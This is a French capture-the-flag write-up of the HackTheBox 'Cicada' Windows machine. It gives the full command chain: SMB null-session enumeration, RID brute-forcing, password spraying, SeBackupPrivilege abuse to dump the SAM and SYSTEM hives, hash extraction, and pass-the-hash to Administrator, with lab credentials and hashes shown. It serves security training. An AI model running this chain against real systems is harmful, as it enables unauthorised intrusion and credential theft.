> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md). # Compte rendu HackTheBox de Cicada {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération SMB (RID-Brute) * Fuite d'informations (description de l'utilisateur) (netexec) * Élévation de privilèges (SeBackupPrivilege) * Extraction SAM (pypykatz) * Pass-the-Hash (EvilWinRM) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

Scan de version des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier :

### Port 445 - SMB **Énumération SMB avec smbmap** Pour lister les ressources partagées avec une session nulle : ```bash smbmap -H 10.10.11.35 -u 'null' ```

Le **RH** contient un fichier texte intéressant. Nous explorons son contenu : ```bash smbmap -H 10.10.11.35 -u 'null' -r HR ```

**Télécharger le fichier** Nous accédons au partage et téléchargeons le fichier : ```bash smbclient //10.10.11.35/HR -N get "Notice from HR.txt" ```

Le fichier contient un mot de passe * mot de passe : `Cicada$M6Corpb*@Lp#nZp!8`

## Liste RID-Brute #### Pour identifier les utilisateurs du domaine, nous lançons une attaque RID-Brute : ```bash crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute ``` > Le `--rid-brute` le paramètre est utilisé pour effectuer une /*/* attaque par force brute/*/* sur **RID (identifiants liés)** utilisateurs dans un domaine Windows. Un RID fait partie de l'identifiant unique d'un utilisateur dans un système Windows et est généralement utilisé pour identifier les comptes utilisateur et les groupes

Voici la liste des utilisateurs trouvés : ``` Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars ``` #### Validation des utilisateurs Nous testons le mot de passe trouvé pour tous les utilisateurs : ```bash crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` L'utilisateur **michael.wrightson** utilise ce mot de passe.

### Utilisateur Michael : ### Énumération avec netexec Nous utilisons **michael.wrightson** identifiants pour explorer davantage : ```bash netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users ```

Cela révèle le mot de passe en clair de l'utilisateur **david.orelious**: * nom d'utilisateur : `david.orelious` * mot de passe : `aRt$Lp#7t*VQ!3` /*/Validation et énumération SMB avec les identifiants dans //* **david.orelious** ### Pivot vers l'utilisateur David Nous validons les identifiants de david.orelious avec CrackMapExec : ```bash crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' ```

Ensuite, nous explorons les partages SMB accessibles sur la cible avec smbmap : ```bash smbmap -H 10.10.11.35 -u david.orelious ```

Nous nous connectons ensuite au partage DEV avec smbclient : ```bash smbclient //10.10.11.35/DEV -U david.orelious ``` Dans ce partage, nous trouvons un script nommé backup/ script.ps1.

### Pivot vers l'utilisateur Emily Nous téléchargeons le script backup/ script.ps1 avec la commande get et découvrons l'identifiant de l'utilisateur emily.oscars * nom d'utilisateur : emily.oscars * mot de passe : Q!3\@Lp#M6b/\*7t/\*Vt

Nous validons ces identifiants avec CrackMapExec : ```bash crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ``` Nous nous connectons ensuite à la machine avec Evil-WinRM : ```bash evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ```

### Drapeau user.txt Nous récupérons le drapeau à partir du fichier user.txt.

## Élévation de privilèges ### whoami /priv - SeBackupPrivilege {% embed url="" %} **Vérification des privilèges** Pour commencer, vérifions les privilèges de l'utilisateur actuel. Exécutez la commande suivante pour vérifier si l'utilisateur a le `SeBackupPrivilege` privilège : ```bash whoami /priv ```

**Télécharger les fichiers DLL nécessaires** Pour exploiter ces privilèges, téléchargez les fichiers DLL sur la machine victime. Ils sont disponibles [ici](https://github.com/giuliano108/SeBackupPrivilege). 1. **SeBackupPrivilegeCmdLets.dll** {% embed url="" %} 2. **SeBackupPrivilegeUtils.dll** {% embed url="" %} Téléchargez ces fichiers sur la machine de la victime à l'aide des commandes suivantes ```powershell upload SeBackupPrivilegeCmdLets.dll upload SeBackupPrivilegeUtils.dll ```

**Chargement des modules DLL** Une fois les fichiers DLL téléchargés, chargez-les dans la session PowerShell à l'aide des commandes suivantes : ```powershell Import-Module ./SeBackupPrivilegeCmdLets.dll Import-Module ./SeBackupPrivilegeUtils.dll ``` **Sauvegarder les fichiers SAM et SYSTEM** Nous allons maintenant enregistrer les `SAM` et `SYSTEM` fichiers qui contiennent les informations d'identification des utilisateurs. Utilisez les commandes suivantes pour les enregistrer : ```powershell reg save hklm/sam sam reg save hklm/system system ```

**Télécharger les fichiers SAM et SYSTEM** Après avoir enregistré les fichiers, vous pouvez les télécharger sur votre machine virtuelle (VM) pour les analyser : ```powershell download sam download system ```

### **Extraction des hachages du fichier SAM** Utilisez `samdump2` pour extraire les hachages de `SAM` et `SYSTEM` fichiers : ```bash samdump2 system sam ```

Si cette commande ne fonctionne pas, vous pouvez essayer `pypykatz` pour extraire les hachages directement : ```bash pypykatz registry system --sam sam ```

Cela devrait fournir un hachage valide, par exemple : * hachage : `2b87e7c93a3e8a0ea4a581937016f341` ### **Pass-the-Hash avec Evil-WinRM** Maintenant que vous avez le hachage, vous pouvez l'utiliser pour effectuer un « Pass-the-Hash » et vous connecter à la machine cible en utilisant `evil-winrm`: ```bash evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ```

### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.